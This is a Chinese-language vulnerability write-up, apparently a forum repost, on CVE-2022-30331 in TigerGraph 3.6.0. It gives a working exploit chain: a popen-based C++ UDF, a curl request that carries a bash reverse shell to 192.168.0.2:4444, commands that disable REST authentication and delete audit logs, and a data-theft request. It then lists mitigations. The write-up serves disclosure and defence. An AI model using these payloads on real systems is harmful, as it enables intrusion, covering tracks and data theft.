发布于2022年11月4日3年前 CVE-2022-30331-TigerGraph 3.6.0 UDF 功能漏洞 TigerGraph UDF 漏洞:详细信息和示例CVE 参考地址:http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202209-215TigerGraph 图数据库为用户提供了远程上传任意 C++ 源代码以创建用户定义函数的工具。该代码会自动编译并安装到敏感的系统组件中,几乎不需要仔细检查。由于缺乏保护措施,这个过程可以以最小的权限被利用,让攻击者完全控制整个 TigerGraph 集群和底层服务器。背景在这篇文章中,详细介绍了在 TigerGraph 产品中发现的一个关键 CVE。这些细节在过去三个月内没有公开披露,以便在 CVE 的细节公开之前让 TigerGraph 有足够的时间修复漏洞并加强其安全性。我们将展示如何使用 TigerGraph 的 GSQL 查询语言的功能将用户的权限提升为管理用户的权限、禁用身份验证、泄露敏感数据,然后删除审计跟踪。在撰写本文时,这些问题会影响 TigerGraph Server 3.6.0 的最新版本以及从该代码库派生的任何其他产品。例如,官方 TigerGraph Docker 镜像。虽然未经证实,但 TigerGraph Cloud 也可能受到影响。问题TigerGraph 是一个图数据库,具有称为 GSQL 的专有查询语言。GSQL 的功能之一是能够创建查询用户定义的函数(缩写为 UDF)。UDF 是 C++ 源代码,它被编译并链接到 TigerGraph 数据库中,为 GSQL 查询提供额外的功能。在 TigerGraph 中,UDF 继承了其实现语言 C++ 的特性,允许用户访问非托管内存和不安全指针。由于没有真正的运行时安全保护,指针和缓冲区溢出漏洞是一种真正的可能性。事实上,我们在 TigerGraph 的 LDBC 代码中发现了这样一个漏洞——缓冲区溢出——几行代码(这让我们看到了这个和其他类似的安全缺陷)。为了突出这个关键的安全漏洞,我们首先展示了在系统正常操作下允许用户做什么*,*以及这如何破坏对 TigerGraph 中的安全性所做的一些假设。我们首先展示如何在远程 TigerGraph 系统上获得具有管理权限的远程 shell。第一步是调出一个远程TigerGraph系统,添加一些不同级别的用户,并创建一个测试数据库。附录 A:设置 TigerGraph 服务器中提供了使用 Docker 执行此操作的说明。1. UDF 的远程安装一旦系统启动并运行,我们将创建一个run_shell_expr从下面的 C++ 代码调用的新 UDF。UDF 将简单地接受一个字符串,在子 Shell 中运行并返回输出:inline string run_shell_expr (string cmd) { char buffer[4096]; std::string result = ""; FILE* pipe = popen(cmd.c_str(), "r"); if (pipe){ try { while (fgets(buffer, sizeof buffer, pipe) != NULL) { result += buffer; } } catch (...) { /*...*/ } pclose(pipe); } return string(result); } 一旦我们将 UDF 编码到udf.hpp本地机器上调用的文件中,我们就可以使用 GSQL 客户端使用tigergraph用户将其安装到远程系统上:$ java -jar gsql_client.jar -ip localhost Adding gsql-server host localhost Password for tigergraph : *** If there is any relative path, it is relative to /dev/gdk/gsql Welcome to TigerGraph. GSQL > PUT ExprFunctions FROM "./udf.hpp" PUT ExprFunctions successfully. 这会将我们的 C++ 源文件通过网络复制到 TigerGraph 系统上,并在那里自动编译和安装。此时,我们的 UDFrun_shell_expr可供所有用户在查询中使用,尽管仅由超级用户上传。请注意,为简洁起见,上述代码片段省略了创建 UDF 所需的一些样板代码,但完整代码可在附录 A:UDF 代码中找到。2.远程安装查询下一步是创建一个调用run_shell_exprUDF 的新查询。同样,这是使用 GSQL 控制台进行的远程操作,但由低权限用户bob执行,该用户仅具有在名为test的图上创建和运行查询的本地权限(bob仅有querywriter权限)。下面我们展示了执行此操作的 GSQL 命令:$ java -jar gsql_client.jar -ip localhost -u bob Adding gsql-server host localhost Password for bob : *** If there is any relative path, it is relative to /dev/gdk/gsql Welcome to TigerGraph. GSQL > use graph test Using graph 'test' GSQL > begin GSQL > CREATE QUERY run_cmd(string cmd) FOR GRAPH test { GSQL > PRINT run_shell_expr(cmd); GSQL > } GSQL > end Successfully created queries: [run_cmd]. GSQL > install query run_cmd Start installing queries, about 1 minute ... run_cmd query: curl -X GET 'http://127.0.0.1:9000/query/test/run_cmd?cmd=VALUE'. Add -H "Authorization: Bearer TOKEN" if authentication is enabled. Select 'm1' as compile server, now connecting ... Node 'm1' is prepared as compile server. [========================================================================================================] 100% (1/1) Query installation finished. GSQL > 安装run_cmd查询后,它将在远程 TigerGraph 系统上运行简单的命令。在这种情况下,我们使用id命令查看 UDF 正在由应用程序级超级用户在远程系统上执行:tigergraph。GSQL > RUN QUERY run_cmd("id") { "error": false, "message": "", "version": { "schema": 0, "edition": "enterprise", "api": "v2" }, "results": [{"run_shell_expr(cmd)": "uid=1000(tigergraph) gid=1000(tigergraph) groups=1000(tigergraph)\n"}] } 3.远程获取 Shell请注意在安装查询之前显示的消息:run_cmd query: curl -X GET 'http://127.0.0.1:9000/query/test/run_cmd?cmd=VALUE'. Add -H "Authorization: Bearer TOKEN" if authentication is enabled. 此消息让我们知道 TigerGraph 已自动为run_cmd查询创建了一个 REST API。因此,下一步是获取一个以tigergraph用户身份运行的反向 Shell,但使用仅有最低权限的用户alice执行此操作。为了使其正常工作,您将需要一台可以将网络流量路由到外部地址和端口的机器。在此示例中,我们使用 IP 地址192.168.0.2和端口4444。设置好机器后,打开一个新的控制台窗口并在其中使用 netcat 实用程序来监听网络流量:$ nc -l 4444 -v 在另一个控制台中,我们只需使用alice的授权令牌生成一个 HTTP POST 请求:$ curl -X POST \ -H 'Authorization: Bearer aa4upir75pntu90pckr2ldr395l3hh70' \ http://localhost:14240/restpp/query/test/run_cmd \ -d '{"cmd": "bash -c \"bash -i >& /dev/tcp/192.168.0.2/4444 0>&1\""}' {"error":true,"message":"The query didn't finish because it exceeded the query timeout threshold (16 seconds). Please check GSE log for license expiration and RESTPP/GPE log with request id (65548.RESTPP_1_1.1659629508618.N) for details. Try increase RESTPP.Factory.DefaultQueryTimeoutSec or add header GSQL-TIMEOUT to override default system timeout. ","results":[],"code":"REST-3002"}% 请注意,需要稍微修改 URL,因为我们正在将流量转发到 Docker 容器中。Shell 会话将在您的第一个窗口中打开,您可以在其中以tigergraph用户身份自由执行命令:tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ unset LD_PRELOAD tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ id id uid=1000(tigergraph) gid=1000(tigergraph) groups=1000(tigergraph) tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ pwd pwd /home/tigergraph/tigergraph/app/3.5.3/bin 4. 规避安全功能和泄露数据现在我们作为管理用户拥有 Shell 访问权限,现在可以禁用 REST API 的身份验证,并且可以删除系统审计日志的选择以覆盖攻击:tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ unset LD_PRELOAD tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ gadmin config set RESTPP.Factory.EnableAuth false [ Info] Configuration has been changed. Please use 'gadmin config apply' to persist the changes. tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ gadmin config apply [ Note] Changes: RESTPP.Factory.EnableAuth: true -> false Proceed to apply? (y/N)y [ Info] Successfully applied configuration change. Please restart services to make it effective immediately. tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/app/3.5.3/bin$ gadmin restart restpp nginx gui gsql -y [ Info] Stopping NGINX RESTPP GSQL GUI [ Info] Starting ZK ETCD DICT KAFKA ADMIN GSE NGINX GPE RESTPP KAFKASTRM-LL KAFKACONN GSQL GUI tigergraph@149bd9633fa6:/home/tigergraph/tigergraph/log$ rm gsql/* restpp/* controller/* 为了证明身份验证被禁用,可以从test2具有零授权用户的第二个图中窃取一些敏感数据:$ curl -X GET "http://localhost:14240/restpp/graph/test2/vertices/Node" {"version":{"edition":"enterprise","api":"v2","schema":1},"error":false,"message":"","results":[{"v_id":"1","v_type":"Node","attributes":{"id":1,"value":"hello"}}]}% 复合因素我们已经证明,如果用户愿意,他们可以使用 GSQL 中的 UDF 工具来绕过 TigerGraph 的所有安全保护措施并泄露敏感数据。更重要的是,可以使用系统中特权最低的角色之一执行实际攻击queryreader——使用 TigerGraph 的 REST API。我们使用的示例场景是为教学目的而设计的。我们做出的假设之一是攻击者需要安装恶意 UDF(类似于run_shell_exprUDF),并且他们需要管理访问权限才能执行此操作。但是,基于需要安装权限这一事实而忽略该漏洞是幼稚的。我们为这种思路提供了三个反驳论点:它假定系统没有可利用的错误;它隐含地信任任何有权访问管理用户的人不会破坏系统的完整性;和这意味着管理用户可以访问系统中放置的所有敏感数据。CVE 表明 TigerGraph 中没有足够的防御措施来防止 UDF 中潜在的缓冲区溢出被具有最低权限级别之一的用户利用。缓解措施当看到该漏洞时,TigerGraph 确认这是他们期望 UDF 的行为方式,并提供了以下缓解措施:启用 GSQL 和 REST 端点的身份验证;和更改tigergraph管理员用户的默认密码。TigerGraph 的 Docker 映像已更新,现在远程 GSQL 客户端会提示用户输入密码。但是,如果错误被意外包含在安装到系统中的 UDF 中(如这里的情况),或者攻击者可以访问tigergraph用户,则几乎没有保护。允许将不受约束的 C++ 链接到 TigerGraph 二进制文件是一种冒险的架构选择,具有明显的缺点。建议虽然当前的系统架构和 UDF 设计和保护机制仍然存在,但该漏洞仍将保留在 TigerGraph 产品中。我们同时使用 TigerGraph 的建议是:避免使用 UDF:因为即使是未使用的 UDF 也会带来安全风险。如果必须使用 UDF,请清理 GSQL 和 UDF 之间的所有输入:我们承认这非常困难,因为它要么必须作为 UDF 完成,要么使用 GSQL 编写。限制 TigerGraph 对包含敏感数据的网络的访问:由于 TigerGraph 集群能够运行任意代码,因此确保进出它的网络流量受到限制是明智之举。附录 A设置 TigerGraph 服务器使用 Docker 下载最新的 TigerGraph 镜像并启动服务器。我们按照 TigerGraph 提供的说明进行操作。下载并运行docker镜像(注意:我们不需要附加卷):$ docker run -d \ -p 14022:22 \ -p 9000:9000 \ -p 14240:14240 \ --name tigergraph \ --ulimit nofile=1000000:1000000 \ -t docker.tigergraph.com/tigergraph:latest 容器启动后,通过 ssh 连接(注意:默认密码为tigergraph):$ ssh -p 14022 tigergraph@localhost 启动所有TigerGraph服务:$ gadmin start all 使用 GSQL 创建一个空图:$ gsql "create graph test()" alice使用 GSQL 创建一个具有最低权限的用户:$ gsql "create user" User Name : alice New Password : ***** Re-enter Password : ***** 授予以下权限alice:$ gsql -g test "grant role queryreader on graph test to alice" 创建秘密alice:$ gsql -u alice -p alice -g test "create secret" The secret: rdua9klbkp88t2jkd8me44nd5638d73t has been created for user "alice". 创建一个用户——bob拥有足够的权限使用 GSQL 创建新的查询:$ gsql "create user" User Name : bob New Password : ***** Re-enter Password : ***** 授予以下权限bob:$ gsql -g test "grant role querywriter on graph test to bob" 创建第二个名为的图test2并向其添加一个节点:$ gsql GSQL> CREATE VERTEX Node(PRIMARY_ID id UINT, value STRING) WITH primary_id_as_attribute="true" GSQL> CREATE GRAPH test2(*) GSQL> begin GSQL> CREATE QUERY ins(UINT id, STRING value) FOR GRAPH test2 { GSQL> INSERT INTO Node VALUES(id, value); GSQL> } GSQL> end GSQL> interpret query ins(1,"hello") 更改tigergraph用户的默认密码:$ gsql "alter password" 启用RESTPP认证:gadmin config set RESTPP.Factory.EnableAuth true gadmin config apply gadmin restart restpp nginx gui gsql -y 设置 GSQL 客户端一旦 TigerGraph 运行,我们可以从正在运行的容器中获取一份gsql_client.jar的副本。注意:您需要正确版本的客户端才能成功连接到服务器。$ docker cp tigergraph:/home/tigergraph/tigergraph/app/3.5.3/dev/gdk/gsql/lib/gsql_client.jar gsql_client.jar 要为特定用户打开 GSQL 控制台会话,请运行客户端,如下所示:$ java -jar gsql_client.jar -ip localhost -u Adding gsql-server host localhost Password for : ***** If there is any relative path, it is relative to /dev/gdk/gsql Welcome to TigerGraph. GSQL > UDF 代码/****************************************************************************** * Copyright (c) 2015-2016, TigerGraph Inc. * All rights reserved. * Project: TigerGraph Query Language * udf.hpp: a library of user defined functions used in queries. * * - This library should only define functions that will be used in * TigerGraph Query scripts. Other logics, such as structs and helper * functions that will not be directly called in the GQuery scripts, * must be put into "ExprUtil.hpp" under the same directory where * this file is located. * * - Supported type of return value and parameters * - int * - float * - double * - bool * - string (don't use std::string) * - accumulators * * - Function names are case sensitive, unique, and can't be conflict with * built-in math functions and reserve keywords. *
创建帐户或登录后发表意见